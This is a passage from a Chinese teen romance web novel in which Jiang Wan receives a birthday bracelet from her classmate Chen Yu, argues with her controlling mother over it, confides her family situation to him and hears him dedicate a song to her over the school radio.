“再高一点。” …… 到最后,姜挽都有点没耐心了,陈屿还是很耐心地告诉她该如何调整。突然,她反应过来,开视频是为了看他那边的风景,其实她这边摄像头怎么样也不是很重要吧。 “要不我还是调回原来的位置吧,反正……” “好了,现在就行,可以了。” “可以了?”姜挽去看,这才发现此刻她的一张脸正正好好被框在画面里,那角度合适到显得她五官都被放大了,很别扭,“要不我还是再调一下吧?” “不用,”陈屿连忙拦住她,“就这样,位置很正。”说着,他把手机对向了天空,“看,是不是很美?” 视频里显示有掠过的鸟,有飘动的云,还有一声声的汽车鸣笛和风过树梢的声音,确实比刚才那张静态的照片生动多了,姜挽感叹:“好看,很美。” “是啊,确实很美。”陈屿在视频那头也说了一句。 只不过他们二人感叹的对象不一样,一个是对景,一个是对人。 风景看完了,两人一时间没了其他的话题,主要是姜挽,那种初次体验的青涩和尴尬慢慢开始流淌,她找不到合适的方式应对,最直接的解决方法就是逃避:“没有其他事情的话,我就先挂了。” “等一下,”陈屿在微信那头拦下她,“小酒今天怎么样?它还乖吗?” 提到这个,姜挽一时间有点黯然,她想到晚上那场对峙,想到苏青眠她们对她的为难,说实话,她有点生气,甚至想就这么告诉陈屿,可他现在在国外准备考试,不能影响到他:“它很乖,吃饭也很好。” “那你呢,你有没有遇到什么事情?这两天还好吗?”不知何时,陈屿已经再次把摄像头对向了他自己,一双漆黑的瞳仁,即便是隔着屏幕看过来,依旧是那么摄人心魄。 姜挽摇摇头:“没有,我也很好。” “那你乖乖的,等我回去给你带礼物。” 姜挽脸红了,趁机从屏幕里移开几分,岔开了话题:“你今天不用考试吗?” “今天不用,去看考场。” “什么时候去?” “已经在路上了。” “那你赶紧去,别耽误了事儿。” “没事,不着急。” 姜挽正想劝他,突然听到门外传来一阵开门的声音,应该是她妈妈回来了,她忙凑近屏幕,压低声音:“我妈妈回来了,我得先挂了。” 陈屿虽然舍不得,可还是按她的意思打算挂,挂断前,趁着她没注意,他伸手在她脸颊的位置轻轻碰了一下,很快退开:“好,那我不吵你了,你早点休息。” “嗯,拜拜。” “拜拜。” 沈曼回来后的第一件事,照例是先进姜挽的房间问她今天一天的学习情况。姜挽都是挑好的说,尽量不让她担心。可即便是这样,她还是发现了沈曼在和她说话的时候状态不太好,脸色看起来很疲惫。 “妈妈,你是不是工作太累了?要不要请假休息一下?” “没事,不用,最近月底,工作积压得多,是会忙一点,”沈曼像是不大想聊这个话题,三言两语便把话题再次绕回了姜挽的学习上,“你马上也快考试了吧,再加把劲,多把心思放在学习上,不要被其他事情影响,争取下次分数再提高一点。” 听到这话,姜挽有点心虚,她最近确实遇到了一些其他的事情,但还是开口:“好的,我知道了。” “那就好,”沈曼感叹,“妈妈没有别的想法,就希望你好好学习,将来考上一个好大学,能够出人头地,我就心满意足了。” 第29章 礼物 陈屿紧赶慢赶, 终于在姜挽生日当天回了国,他连家都没回,时差也没倒,拖着行李就直奔学校。 他到的时候刚好放学, 孟云程见到他很惊喜:“不是吧, 你他妈这么想我?这也没几天啊, 你竟然连家都不回, 直奔来学校见我?” 陈屿懒得搭理他, 可也怕他嘴太碎一直念叨, 于是随便扯了个理由:“我有东西忘记拿了,过来拿东西。” 孟云程当然不信,他只当是陈屿不好意思承认:“行了, 和我还绕弯儿呢, 快点, 把东西拿出来吧。” “什么东西?”陈屿觉得莫名。 “当然是礼物啊, 你这么着急忙慌地跑过来,难道不是为了给我送礼物?快拿出来, 让我看看国外带回来的是什么好东西。” 陈屿觉得他要么就是太自恋, 要么就是脑子坏掉了:“要我提醒你吗,我是去考试, 不是去游玩。我很忙, 没有时间搞这些。” 见他是认真的,孟云程垮了脸:“不是, 你不够意思啊……” “孟云程, 你话怎么这么多!”孟云程还想说些什么,突然被尤伽打断。孟云程可能没看懂,但尤伽却看得透彻, 陈屿这一趟,是为姜挽来的。 “走,我们先回家,我有事问你。” 孟云程还是和之前一样,对尤伽的话言听计从,瞬间便转移了注意力:“你等我收拾东西,马上就好。” 又是一阵折腾的声音,等他们都走了,气氛才安静下来,陈屿终于找到机会和姜挽说两句话了:“这几天还好吗?” “挺好的,”姜挽对于他现在就来学校这件事也挺惊讶的,“你不是刚下飞机吗?怎么不在家里休息?”她虽没坐过长途航班,但之前也听人说过,“不倒时差的话,应该会很难受吧。” “不会。”陈屿何止是不难受,因为心里有期许,他这回来的一路甚至都处于一种亢奋的状态。 他自然地去拿姜挽的书包,像以往任何一次一样:“走,送你回家。” 姜挽看着他拿起,再利落地背上,也没说什么,只是提醒道:“小酒还没喂。” “那就先喂小酒。” 跟在他身后,看着他的背影,还有月光落下来的影子,姜挽突然觉得很安心。虽然他们分开了几天,可一切还是和之前一样,什么都没变。 喂完小酒,他们也没立刻走,就坐在路边的长凳上,陈屿从书包里拿出手机:“给你带了个礼物。” 他低头在手机里开始翻找,姜挽不明所以:“什么?” 话音落,突然听到一阵“哗啦啦”的声音,她还以为是下雨了,立马抬头去看,只见头顶风清月明,哪里有半分下雨的趋势。可那“哗啦啦”的声音确实还在继续,姜挽仔细辨了辨,这才发现那声音是从陈屿手机里发出来的。 “这是?” “送给你的礼物。” 姜挽还是没懂:“下雨的声音?” 陈屿笑了:“你再听听。” 姜挽便靠近了再次去听,这次她发现,这些“哗啦啦”的声音不是一直持续的,更像是随着某种频率,在一定程度的翻涌后,突然沉淀下来,再如此循环往复。 她灵光一闪:“是海浪。” 陈屿盯着她:“嗯,真聪明。” 他考试的附近有一片很出名的海滩,传说彼此相爱的两个人若能一起来此漫步,共听一场海浪的声音,那他们的爱情就一定会长久。 搁以前,陈屿是铁定不会相信这种事情的,并且看到别人做的时候说不定还会嗤之以鼻。可现在不一样了,他有了期许,自然也就有了软肋。 和其他所有相信爱情的人一样,面对和她有关的东西,他内心柔软得一塌糊涂。 姜挽觉得他这个礼物很新奇,也很浪漫,在她的印象里,陈屿其实并不经常这样做。 她贴近了去听,陈屿干脆把手机递到她手里。 “这片海滩其实有个很特别的名字,叫‘Lover Beach’。”陈屿边说,边去看她的表情,“Lover Beach”的意思,他相信姜挽肯定知道,可他就是要把这个强调出来。 “中文意思就是‘情人沙滩’,据说互相喜欢的两个人要是能同时听到这里的海浪声,他们的爱情就会天长地久。” 果然,他说完这句后,姜挽脸上的神色当即顿住了,瞬间收起了刚才的笑意,把手机还给了他。 也许是摇曳的树影使人柔软,也许是不愿错过这么好的机会,陈屿趁热打铁,在这片朦胧的树影下再次开口:“如今看来,我们也算是一同听过这片海浪的声音了,你说,我们会不会像传说的那样,以后……” 像是怕他说出后面的话,姜挽连忙打断他:“这只是传言罢了,没什么可信度。” 一句话,陈屿就清醒了,他也意识到自己刚才有些太着急了,虽不愿意,还是违心地点了点头,没再继续这个话题。 气氛一时冷了下去,周围只有晚风卷着树梢的声音。 姜挽有点尴尬,毕竟刚才的气氛是她破坏的,于是便试图再次找话题开口:“刚才不是听你和孟云程说没时间吗,怎么还去海滩了?” “给他买东西当然没时间了。”陈屿说的当然,顺势伸长两条腿,懒散地靠在椅背上。他拉开书包拉链,去翻找,很快,拿出来一个四四方方的盒子:“送给你。” 姜挽担心这又是和刚才一样的东西,有点不敢接。 陈屿似乎看出了她的心思,勾了勾唇角,解释道:“放心吧,不是刚才的海浪了。刚才是骗你的,这次才是真正的礼物。” 他看向她,就在这月色与星辉的交替下,突然开口:“姜挽,生日快乐。” 一瞬间,姜挽怔在那,有什么东西涓涓地从她心底开始往外冒,像是感动,但似乎又比感动浓烈得多。浓得她鼻酸,烈得她不得不扭过头缓一缓。 他竟然记得今天是她生日。 而且,他还是第一个和她说生日快乐的人。 因为如今这复杂的家庭关系,姜挽其实并没有告诉过任何人今天是她的生日,她也并不打算庆祝。 所以,陈屿究竟是如何得知的,她不想追问。至少在这一刻,姜挽并不想破坏气氛,宁愿安安静静地,就这样和他守着眼前这份美好。 见她这样,陈屿轻笑出声:“怎么了,不会高兴傻了?这礼物都还没看,你就呆住了,反应会不会给得有点太早了?” “没有,”姜挽垂眸,礼物其实她并不打算要,所以也就没想着拆,“谢谢你,但这个礼物我不能收。” “为什么?”陈屿挑眉。 “其实不用这么隆重的,你能记得,我就已经很开心了。” “姜挽,”陈屿的表情变了,挑着的眉峰变平,眉间褶皱也跟着隆起,“你没说实话。” 被他这样看着,老实说,姜挽也有点心虚,她叹一口气:“好吧,我确实没说实话,真心话就是你这个礼物一看就不便宜,我真的不能收。收了的话,我以后没有能力送你同等价位的。” “我说过要你送了吗?”陈屿很无奈,“你这脑子,一天天的,都在想什么呢?” “你是没说过,可……” “行了,你别说了。”陈屿很强势,同时强势的,还有他手上的动作,三下五除二便把包装盒打开,拿出里面的手链,快而精准地套在了她的手腕上。 “好了,”陈屿低头扣好卡扣,“这下跑不掉了。” 后半句他说的声音小,又几乎是嘟囔着开口,姜挽没听清,刚想问,陈屿已经帮她戴好了,姜挽低头看,是一款四叶草的手链。 一共五个,红色五花搭配金色链条,在沉静微凉的月色下,透着闪耀的光。 姜挽不了解奢侈品,所以她也就不知道这款四叶草是某品牌的象征标志,她只是觉得陈屿的眼光好,这款手链虽颜色饱和度较高,可胜在设计古朴简约,戴在手腕上显得很精致。 “这个手链不便宜吧?” “便宜,就几十块钱,你戴着玩儿就行。” 几十块姜挽当然不信,但以她的生活经验,也实难猜到这款手链的真实价格。 两人又在凳子上坐了会儿,离开前,姜挽要把手链摘下来,陈屿很纳闷:“怎么,不喜欢吗?” “不是,我怕我妈妈看见。” 一听是这个理由,陈屿也没再追问,配合着她,将手链取下来,再次放回了包装盒里。 整个过程,姜挽的动作都十分小心,每一步都保持着所有原来的包装,就连最外层的那条绿色丝带,她也是尽量按着原来的样子系起来。 陈屿告诉她不用这么麻烦,可她却依旧坚持,坚持仔细系好,坚持保持原貌。 其实,关于她刚才为什么要把手链收起来,姜挽有一点还没说,除了她妈妈的原因外,更重要的是因为她自己舍不得。 他送给她的东西,她根本就舍不得戴。 等她收拾好后,陈屿问她要不要去吃饭,姜挽明白他的意思,可还是拒绝了,现在去的话,就需要问沈曼,姜挽觉得她不会同意的。 在这方面,陈屿完全尊重她的意见:“行,那就直接送你回家。” 第30章 坦白 姜挽到家的时候, 沈曼还没回来,想着她应该不会回来太早,姜挽便想先去洗个澡。离开前,她将手链拿出来放在书桌上, 打算一会儿回来再收起来。 可等她从浴室出来的时候, 却发现自己的房门被打开了, 门锁和门框间有一条缝, 透过那缝隙, 能看到光线从屋□□出来。 一瞬间, 姜挽感觉全身的血液都在往上涌。会去她房间的只有沈曼一个,而那条手链此刻就摆在书桌上…… 姜挽不敢再往下想,她一把扯掉头上的毛巾, 快步朝卧室走, 推开门, 果不其然就看到沈曼正站在她书桌前, 拿着手链的包装盒正四处打量。 “妈,你今天怎么这么早就回来了?”姜挽走过去, 尽量保持着自己的声音正常。她虽在和沈曼说话, 可眼神却一直盯着她手中的盒子。 沈曼抬头看她:“今天公司的电脑临时出了点问题,没办法继续加班, 所以就提早回来了。” “哦, 那你吃过晚饭没有?” “还没有。” “我也还没有,”趁着这个机会, 姜挽赶紧开口, “要不我们先出去弄点吃的吧。” “先等一下,”可沈曼却并不着急,她视线再次落回刚才的盒子上, 指尖当即就要去解最外层的那条丝带,“这是什么?” “不是什么重要的东西,”姜挽突然打断她,声音很急,话出口,她才意识到自己有点情急了,忙又缓下声音,“就是我同学送我的东西而已。” “同学送给你的?”沈曼重复她的话,语气里听不出来什么情绪,只是稍停顿了会儿,继而开口,“那我看一眼。” 说罢,也没询问姜挽的意见,她便伸手把包装打开了,看到盒子里装着的那条手链,她似乎有点不解:“手链?” 姜挽垂着眸,没应声,她实在是不知道该如何回答她这问题。 也是从她这沉默里,沈曼看出了点其他的东西,她迅速上头,情绪赫然变得敏感又尖锐:“哪个同学送给你的?男生还是女生?” 姜挽就怕她这样,所以一开始才不敢让她看见:“妈,不是你想的那样。” “那是哪样?”一瞬间,沈曼脸涨得通红,能看出来她心跳也很快,“你老实告诉我,是男同学送给你的对吧?你和他是什么关系?是不是已经在一起了?” 姜挽着急解释:“没有。” “没有他送你手链?”沈曼大吼一声,脸上的神情已经全然变了,眉间皱成一团,眼底似有一团火,透过那团火,她冷漠开口,“你当我傻吗?这种东西,是普通同学之间会送的吗?” 姜挽被她吓到了:“妈……” “你别叫我!”沈曼推开她,一把将盒子扔在书桌上,“你真是太让我失望了,我和你说过多少次了,让你在学校里好好学习,不要想一些乱七八糟的事情,交一些乱七八糟的朋友,你就是不听!现在倒好,不仅事情做了,竟然还学会瞒着大人了,我看你真是胆大包天,把我的话全忘了!” 沈曼以前也会这样,平时看起来都很好,待姜挽也耐心温柔,可一旦触碰到她的雷区,让她不顺心了,就会立马像变了一个人似的,变得歇斯底里起来。 姜挽担心她的身体,也不敢再多说什么,只是一个劲地重复:“不是你想的那样,我们真的什么都没有。” 沈曼继续压上一步:“那好,既然你说你和他什么都没有,那你现在就把这东西扔掉。你扔掉了,并且保证以后再不和他联系,我就相信你。” 一瞬间,姜挽不可置信地看着她,没答话。 其实沈曼提这种无理的要求也不是第一次了,之前也有过,但考虑到各种各样的原因,姜挽每一次也都同意了。 可这次,她却突然不想了,她心里很清楚,她不想扔掉陈屿送给她的这个礼物,也不会扔掉。 生平第一次,她拒绝了沈曼:“我不会扔的。” “你说什么?”沈曼简直要气疯了,眼神偏执得厉害,扬起手就要打她,姜挽也不躲,就那么硬生生和她对视着。 “你到底怎么了?怎么突然变成这样了?” “妈,你一定要这样吗?”姜挽眼中有泪,灯光下,像一粒粒闪着亮光的珍珠,“你还记得吗,今天是我的生日。” 听到这句话,沈曼当即呆愣在原地,眼神里有一闪而过的愧疚,高高扬起的巴掌,最终也没有落下。 但她很快恢复到刚才的状态:“所以,你是在怪我?怪我忘记了你的生日,怪我没有给你准备礼物?” “我没有,我也不会,”姜挽很坚定,“我知道我们现在的处境,我也知道妈妈你要维持我们的生活有多辛苦,所以我从来就没有这样想过。我只是希望你能相信我,就像我相信你一样,可以吗?” “我没有不相信你,我做的一切都是为你好。”沈曼还是坚持自我,就在她还打算继续往下说的时候,门外客厅里突然传来一阵脚步声。 很快,那脚步声来到姜挽门外停下了,隔着门,拍了两下:“这么晚了,还让不让人休息了,能不能消停会儿?” 是谭镜。 这种语气,这种情况,姜挽已经见得很多了,可她不确定沈曼有没有见过,忙去看她的脸色,果然,沈曼脸上此刻呈现出一种尴尬和屈辱交织的神色。 这里不是她们的家,只有她们两个相依为命。 姜挽一瞬间又后悔了:“妈妈,对不起,我不应该和你吵架的。” 沈曼似乎很累,疲倦地摆了摆手:“今天太晚了,你早点休息吧,有什么事情明天再说。” “嗯,你也早点休息。” 沈曼离开后,姜挽忙将手链的包装盒再次小心整理好,然后翻到衣柜的里层,和陈屿之前送她的那套衣服放在了一起。 隔天一早醒来,姜挽一睁眼便看见书桌上摆着一个小蛋糕,旁边还有一张纸条,只有简简单单八个字:生日快乐,好好学习。 很明显,这是沈曼留给她的。 洗漱完,姜挽拿起叉子开始吃,这会儿她的房间里一派宁静,阳光透过玻璃窗照进来,蒙蒙的一层光晕,照得屋内的陈设仿佛都有一股古朴简约的美。 一切都太过祥和,好似昨晚的那场争吵并未发生过一样,但姜挽知道,并不是这样。 从那天之后,沈曼再没和她提过扔掉手链的事情,可对她却比之前管得更严了。 早上一定要送她去公交站,亲眼看着她上车后才离开。晚上更是坚持去站台接她,即便是有工作,也会先接姜挽,然后继续在家里加班。 这样一来,姜挽每天的时间几乎都被她全权把控了,一点私人的空间都没有,就连喂小酒,这几天也都是陈屿代劳。 对这件事,陈屿倒是愿意,他只是好奇为何她最近的时间会变得如此严苛。 某日放学后,姜挽照例把提前准备好的食物交给陈屿,拜托他帮忙喂小酒。 陈屿没接,他看一眼窗外的天色,不由皱眉。 狂风大作,暴雨如注。 “你打算现在回家?” “嗯,现在就走。” 姜挽东西已经收拾得差不多了,正打算起身,却突然发现凳子挪动不了,低头一看,才发现是被陈屿抵住了。 “?” “现在外面雨太大,你等一会儿再走。” “不碍事,我带了伞。” “那也不行,外面风那么大,一出门肯定连人带伞把你吹走。”陈屿还是不松开。 姜挽有点着急,她知道沈曼一定会按时在站台等她的:“真不行,我现在就得走。” 陈屿疑惑地看着她:“什么事这么着急,一定要你冒着大雨走?” 姜挽没答,可手上的动作却没有任何变化,很明显,她还是坚持要走。 “那行吧,我打个车,送你回家。” “不用,”姜挽忙拒绝,是比刚才还要更加明显的抗拒,“我自己回去就行。” 这也不行,那也不行,陈屿被她搞得有点无奈,他是不会允许她在这种天气一个人冒雨回去的。更何况他还能看出来,她有事没和他说。 “一定要现在回去?” “嗯。” “那好,那你告诉我,你这么着急冒雨回去的原因是什么。” 同样的问题,姜挽还是和刚才一样的表情,她没回答,低着头,眼睫也跟着垂了下来。她是真不知道该如何开口。 陈屿烦躁地撸了一把头发,松开脚,一把从桌上拿起她的书包:“真是拿你一点办法都没有。” 反应过来他是打算和之前一样送她到公交站后,姜挽忙拦下他:“你不用送我,我自己去站台就行。” 她自己冒雨去坐车可以,但让陈屿陪她,她做不到。 偏偏陈屿也是个倔性子:“那你自己选,要么我送你去公交站,要么我打车送你回家。” 姜挽抿了抿唇角,最后还是决定选第一种,让陈屿送她到公交站。 伞是陈屿的,比她的大,可即便空间足够,在这种风雨加持的情况下,被打湿衣服也是迟早的事儿。 姜挽原本都已经做好被淋湿的准备了,可过去的一路,陈屿几乎全程都把她挡在身后。等到了站台姜挽才发现,她身上倒是没怎么湿,可陈屿半边身子都湿透了,正滴滴答答地往下落着水滴。 即便是这样,他的第一句话还是问她:“淋湿没?” 姜挽摇摇头:“没有。” 对她的回答,陈屿似乎有点不放心,收了雨伞,又拉着她的手腕仔细检查了一遍,确认她只是鞋子和裤脚沾了水后,才松了一口气。 姜挽任由他拉着:“可是你淋湿了。” “没事。”陈屿故意转身,将淋雨的那侧肩膀转向外面,这样一来,就不在她的视线内了。 车还没来,他怕她着急:“下雨天估计有点堵车,再等一会儿。” “嗯。”姜挽应一声,她这会已经看不到他淋雨的那侧肩膀了,可还是能看到每一次落下来的水滴,砸在地上,溅起小幅度的水花。 外面的雨声那么大,姜挽还是清晰听见了那些雨滴每一次落地的声音,像是一滴滴落在她的心头。 不间歇的暴雨,潮湿的空气,还有此刻就站在她旁边的陈屿,看着这一切,姜挽的内心突然开始翻涌。她其实知道,陈屿一直都是站在她这边的,所以,有些事情,她或许也可以告诉他。 “陈屿。”她突然叫他,声音不大,在这雨声里甚至显得有些微弱,可陈屿对她的声音很敏感,还是很清楚地听到了:“嗯?” “我这么着急回去,其实是因为我妈妈。” 说完这句,姜挽抬眸去看他的眼睛,见他正注视着自己,那里头的目光温暖绵长,丝毫没有催促和审判的意味,好似在说,她说什么,他都会听。 被这样的目光注视着,姜挽没再犹豫,一口气把手链被她妈妈发现,她妈妈要求她必须按时回家,以及她父亲去世,如今她和她妈妈是借住在舅舅家的事情,全和他说了。 可说完后,却长时间没有听到陈屿的回答。刹那间,姜挽有些后悔了,她承认自己刚才有些过于冲动了。她不能因为陈屿对她好,就得寸进尺,就更进一步地想让他来听自己倾诉这些。 这样不对,也不应该。 尴尬,后悔,还有完全坦露自己之后的一种卑怯,几种情绪交织在一起,姜挽一时竟不知该如何结束这话题了。 不远处似有车灯,她一把从陈屿手中拿过书包:“车来了,我先走了。” 可在她转身的一瞬,身体却突然跌入一个怀抱,虽然很短,很快便松开了,可那确实是一个拥抱,因为她能感受到他胸膛的温度和身上的淡香。 “对不起。”陈屿开口先是和她道歉。 姜挽眨了下眼睛,有点没懂。 “我没想到一个礼物会给你带来这么多风波,也没想到……”她竟然一直生活在这种环境下。 难怪她之前从不聊自己的父母,之前提到父亲时,她的脸上总会浮现出忧伤,也难怪她待人总会有一种淡淡的疏离感。 以往那些陈屿不理解的细节,在今天都一一得到了对应,原来,那些不过都是她保护自己的一层外壳罢了。 心里像是下了一场雨,终于等到了放晴,他也终于完全理解了她:“你放心,我以后都不会再做出格的事情,一切都按照你的节奏来。我愿意等,我也能等。” 他这话说的不是很直接,模模糊糊中姜挽大概明白他的意思,她没回答,也没拒绝。 恰巧车来,姜挽一脚踏了上去,怕脸上的红晕被他看见,索性就没有回头:“你也早点回去吧。” 下了车,沈曼果然已经在站台处等着了,见姜挽按时到了,难得一见地露出了点笑容:“我还以为你会晚点回来。” “不会,一放学我就回来了,没在学校耽误。” “嗯,这就对了,早点回来,多做几套试卷,把时间都花在学习上,这才是你现在应该做的。” 她妈妈这话,话里话外都是在点她,姜挽当然知道。她不想沈曼不高兴,也就没再多说,点点头表示知道了。 30-40 第31章 点歌 往后几日, 不用姜挽再提醒,陈屿便主动承担起了投喂小酒的任务。而且食物也不用姜挽再准备了,都是他在学校的超市买。 时间长了,姜挽还挺不好意思的:“明明是我自己当初决定要喂的, 现在却不得不麻烦你帮我。” 陈屿笑了, 声音很懒散:“你麻烦我的事还少吗, 不怕再多这一件。” 姜挽一想, 觉得也是:“要不我请你吃饭吧?” 这招不是他想要的, 陈屿没兴趣:“不用, 太麻烦。”他突然想到孟云程之前和他提过,现在学校广播台可以点歌,并且好多学生借此向暗恋的对象告白。 当时的他嗤之以鼻, 现在恨不得逐帧学习。 虽然暗恋的情歌他不懂, 但好在他有更好的替代方法。 “你平时喜欢听什么歌?” 这话题跳跃太快, 姜挽有点没跟上:“我吗?” “这里还有第二个人吗?”陈屿一副“她在明知故问”的表情。 “我平时听歌不多, ”其实主要是没时间,姜挽开始在脑海里搜索, 想来想去也只有一首, 还是她听了好几年的,“Strawberries & Cigarettes。” 她已经不记得是从哪里听到的这首歌了, 只记得第一次听的时候就很喜欢。无论是歌词还是旋律, 似乎都带着一股自由,洒脱, 和微醺的感觉。 “草莓和香烟?” “嗯, ”姜挽回他,“不过不知道你喜不喜欢。” 毕竟从上次唱歌的情况来看,陈屿在这方面还是有点实力的。有实力的人, 一般都挑剔。 “不重要。”反正他喜不喜欢也不是什么重要的事情,只要她喜欢就行。 “什么不重要?” 陈屿忙回神:“我说,马上就要月考了,这次的考试很重要,需要好好准备。” 被他这么一提醒,姜挽才想起来她还有试卷没写完,也就没再继续这个话题。至于陈屿刚才问她的有关歌的事情,自然也就被抛到脑后了。 可她没想到,几天后竟然会在学校的广播里面听到这首歌。 她和尤伽刚吃完午饭,正走在回教室的那条路上。这首歌她太过熟悉了,几乎是旋律响起的一瞬间,姜挽便听出来了。 尤伽没听出来是什么歌,只是觉得旋律好听:“广播站什么时候换风格了,今天这首听起来还不错。” 两人一路走,尤伽一路哼,她们走得慢,还没到教室歌曲就已经结束了。以往结束,便会自动播放下一首,可这次却没有,广播站站长竟然出来发言了,而且能听出来,她的语气很激动。 “同学们,关于刚才这首歌,我想我有必要出来说两句,其实是一个同学找到我,主动要求点这首歌的。” 最近这种事情发生得很频繁,所以她这句话并没有引起大家多大的兴趣。 “我知道,这种事情或许你们已经司空见惯了,可这次不一样,如果听到我接下来说的人名,我保证你们会和我一样激动。”她卖了一个关子,“大家可以先猜一猜,在我们学校,哪个男生最受欢迎?” 听到这句,尤伽下意识看向姜挽:“陈屿怎么跑去点歌了?” 姜挽摇头,她也没搞明白,而且还是这首。她原本还以为是广播站巧合播放的,现在看来并不是。 “那个人就是陈屿!” 随着广播里的声音响起,校园里霎时出现一阵又一阵的惊呼,当然全是女生。 “对了,陈屿同学还说,借这个机会,有些话想对一个人说。我问他需不需要说出对方的名字,他说不需要,只要点了这首歌,那个人就会知道这些话是和她说的。” 沸腾的环境一时间又安静下来,大家都在等,都想知道陈屿究竟会和那个“她”说些什么。 姜挽重重吸了一口气,她比任何人都要紧张。 这大概是出格,是叛逆,总之是她以往人生中从未经历过的事情。 陈屿说的没错,听到这首歌,她就知道那个“她”就是自己了。不过姜挽对他接下来要说的话也是一无所知。 突然,广播里的女声轻咳了下,故意换了一种浪漫的语调,连人称也变了:“不用担心,也不要害怕,做你自己,遵循内心,会有人替你兜底。” 话音落,周围再次响起一阵阵惊呼声,是比刚才还要热烈三分的场面。陈屿这种级别的男神竟然会主动点歌,而且还是专门为了一个人,这场景,真是几百年难遇一次啊。 震惊过后,大家纷纷开始猜测这个幸运的女生到底是谁,不过尤伽不用,她几乎瞬间便锁定了目标:“呦呦,你和陈屿在一起了?” “没有!”姜挽被她的话吓到,连忙否认。 今天陈屿的这个操作,她也没想到,之前他问她喜欢什么歌的时候,姜挽还以为是他想听,没想到竟是为了今天这件事。 而且刚才的话她也听清了,他说让她做自己,遵循内心,会有人替她兜底。那个人是谁,其实也不难猜,因为这么长时间了,他也确实一直都是这么做的。 仔细回想起来,自从她父亲去世后,确实很长一段时间她都没有再听过这种话了。周围所有的声音都是让她懂事,听话,要学会忍耐,只有陈屿让她做自己。 姜挽思绪飘得远,尤伽也没吵她,等她终于回神了,才开口:“我才不信呢,要是你们没在一起,他为什么和你说这些话?” “真的没有。”姜挽否认了和陈屿在一起的事情,却也没有否认刚才那些话确实是和她说的。 “真的?”尤伽有点相信她了,“不过就算现在没在一起,那也快了,老实交代,”她嘻嘻笑,“你们进展到哪一步了?” 姜挽觉得这件事有点复杂,不单单是她和陈屿两个人这么简单,中间还夹着她的母亲,一两句也解释不清,于是干脆直接略过,调转了话题:“要在一起,肯定也是你和孟云程先在一起。” “我和他?”尤伽先是一愣,随即大笑,像是听到了什么天大的笑话,“这怎么可能呢?这辈子都不可能。我要是谈恋爱,肯定也会选裴思那种类型的。” 姜挽顺着她说:“好,好,反正在你眼里,裴思什么都好。” “那可不?”尤伽眼尾一挑,立马来了兴致,只要提到裴思,她就有说不完的话题,“我跟你说……” 与此同时,学校的另一条主干道上,孟云程拦住陈屿,将他上下来回审视着:“我没想到你小子竟然是这样的人。” 陈屿懒得理他,推开他要走。 孟云程忙跟上去:“不是,你也太闷骚了吧!之前我告诉你广播站表白的时候,你不是还非常不屑一顾吗?没想到竟然在背后暗戳戳出手。” 虽然不情愿,可陈屿还是不得不承认,孟云程说的确实是实话,他只好假意敷衍:“你哪只耳朵听到我表白了?” “事到如今,你竟然还不承认?”孟云程差点都要跳起来了,被他这明晃晃的谎言和不要脸的态度,“我刚才两只耳朵都听见了,你不就是暗戳戳地在和姜挽表白吗?怕被人家拒绝,丢面子,所以才用了这种方法。” 他其实只说对了一半,暗戳戳表白是真,但陈屿并不是因为怕被拒绝后丢面子,而是不想再给姜挽压力。 她现在面临的东西已经够多了,虽然没办法帮她承担,但他也想让她知道,他会一直站在她背后,陪着她,等着她。 陈屿不回答,孟云程更觉得忿忿:“你清高,你牛逼,你倒是别用这个方法啊?现在你暗戳戳把这个方法用了,让我以后怎么办?” 陈屿对他还是很了解的:“怎么,你要和尤伽表白?” 孟云程支支吾吾:“那不是迟早的事吗?” 陈屿挑眉:“我可是听说她喜欢文科班的那个裴思。”他对这人没什么好感,所以开口的语气也不大友善。 “那有什么的,”孟云程这会儿倒是坚定,“喜欢又怎么样,反正她早晚都会知道,我对她最好,也只有我和她才最合适。” 他这样说,陈屿当然不信。 “怎么,不相信啊,我早晚会证明给你看。” “不用,你证明给尤伽看就行。” 孟云程撇了下嘴,没再继续,继而转了话锋,再次回到之前的话题上:“对了,你和姜挽现在到底是什么情况?之前问你还什么都不说呢,没想到短短时间之内发展这么快。” 陈屿没想到他还记得这件事,敷衍道:“没什么情况,我只是想借机让她知道一些事情而已。” 想让她知道,他会支持她,会等她,时刻都会替她兜底。 虽然陈屿是这么想的,可这次的阵仗闹得这样大,难免也会落到其他人的耳朵里。 尤其是苏青眠,听到的时候当场就怒了,就差直接跳脚了。她这几天本就没闲着,正背地里各种调查姜挽,昨天刚有了进展,今天就遭受一个这么大的打击,简直恨得牙痒痒,暗自骂着一定要让姜挽好看。 第32章 被逼 一下午, 陈屿和姜挽两人,谁都没提刚才广播的事。直到晚上陈屿送她去车站,趁着递书包给她,才试探着开口:“中午广播里的话, 你都听到了吧?” 担心他会说一些其他的话, 姜挽没接这句, 只低着头, 伸手要从他手里接过书包。 月色沉静, 路灯昏黄, 衬得她脸颊莹白一片亮色。陈屿看着,没松手,就这样和她一人扯着一根背带。 姜挽有些窘:“你松手。” “那你先回答我的问题, 你到底有没有听到, 要是没听到的话, 我可以在这里再当着你的面重复一遍。” 这里是公交站台, 来来往往地总有行人经过,姜挽担心他真会在这里开口, 忙说:“听到了, 我听到了。” 陈屿这才松手:“我就是想告诉你,那些话都是真心的, 而且不论什么时候都作数。” 听到这句, 姜挽蓦地抬起头来看他,对于他的话, 和他的心一样, 姜挽从不怀疑。她只是惊讶,他会说出“不论什么时候”这样的字眼。 他到底知不知道,这几个字到底意味着什么? 见她这表情, 陈屿也大概能猜到她的心理活动,约莫是觉得他在说大话,做不到这些而已。他没再解释,也不需要解释,有些东西,时间长了,总会得到证明的。 不远处传来车灯,陈屿用指节快又轻地碰了下她的脸颊:“车都来了,还发呆。” 姜挽有点尴尬,因为自己刚才的行为,也因为他的动作,以至于坐上车,隔着玻璃和他相望时,她还觉得自己的脸颊烫得厉害。 直到陈屿的身影在夜色下变得越来越模糊,她才抬手摸了下刚才被他碰到的地方。 或许心中有爱的人都一样吧,总是忍不住期许,姜挽也不例外。 虽然她现在不能回应他,也没办法选择,可并不代表她大学以后也不能。也许等她进入大学,她妈妈就不会管她那么严了,等她再长大些,她也可以挣钱,她们就可以从舅舅家搬出去了。 她所需要的不过是再多一些时间。 大概是因为心情不错,姜挽当天晚上睡得很好,一觉到天亮,中途一次都没醒来。 迷迷糊糊中,她听到门外传来一阵争吵声,原本还以为是刚醒来的后遗症,可那声音越来越大,甚至还伴随着摔东西的声音,姜挽才意识到不是梦。 她下床,打算去看下是怎么回事,刚打开门,映入眼帘的便是她舅妈穿着睡衣大声吼叫的场面,姜挽一时竟有些没反应过来。 沈曼就在门口,见她开门要出来,抬手便把房间的门关上了,并交代她:“先不要出来。” 